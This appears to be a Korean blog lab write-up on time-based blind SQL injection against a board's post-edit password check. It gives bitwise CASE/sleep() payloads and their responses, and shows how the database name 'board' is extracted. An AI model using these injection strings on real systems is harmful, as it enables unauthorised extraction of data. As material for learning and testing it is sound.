Oh! JUN

Time-Based SQL Injection 공격 실습 본문

웹 해킹/SQL Injection

Time-Based SQL Injection 공격 실습

Kwon Oh! JUN 2022. 9. 19. 16:47

게시물 수정 페이지에서 패스워드가 일치하면 정상적으로 수정되고 일치하지 않으면 이전페이지로 돌아가는 규칙을 활용할 것이다.

MYSQL : DB 이름 
1234' and 1=(select case when ascii(substring((select database()),1,1))&1=1 then sleep(2) else 1 end)# 수정완료 0 DB : b□□□□
1234' and 1=(select case when ascii(substring((select database()),1,1))&2=2 then sleep(2) else 1 end)# 2초후 '패스워드가 일치하지 않습니다.' 1
1234' and 1=(select case when ascii(substring((select database()),1,1))&4=4 then sleep(2) else 1 end)# 수정완료 0
1234' and 1=(select case when ascii(substring((select database()),1,1))&8=8 then sleep(2) else 1 end)# 수정완료 0
1234' and 1=(select case when ascii(substring((select database()),1,1))&16=16 then sleep(2) else 1 end)# 수정완료 0
1234' and 1=(select case when ascii(substring((select database()),1,1))&32=32 then sleep(2) else 1 end)# 2초후 '패스워드가 일치하지 않습니다.' 1
1234' and 1=(select case when ascii(substring((select database()),1,1))&64=64 then sleep(2) else 1 end)# 2초후 '패스워드가 일치하지 않습니다.' 1
1234' and 1=(select case when ascii(substring((select database()),1,1))&128=128 then sleep(2) else 1 end)# 수정완료 0
01100010 → 98 → 'b'
...생략    
1234' and 1=(select case when ascii(substring((select database()),5,1))&128=128 then sleep(2) else 1 end)#   DB : board

 

UPDATE tb_board SET title=?, writer=?, content=? WHERE password='1234' and 1=(select case when ascii(substring((select database()),1,1))&1=1 then sleep(2) else 1 end)#'

ascii(substring((select database()),1,1))&1=1 참이면 sleep(2) 2초 뒤에 실행되고 거짓이면 1이 반환된다. 그래서 참이면 '1234' and 1=null : 거짓이니까 2초후 '패스워드가 일치하지 않습니다' 뜨고 거짓이면 1이 반환되니까 '1234' and 1=1 참이니까 수정완료가 되는것이다.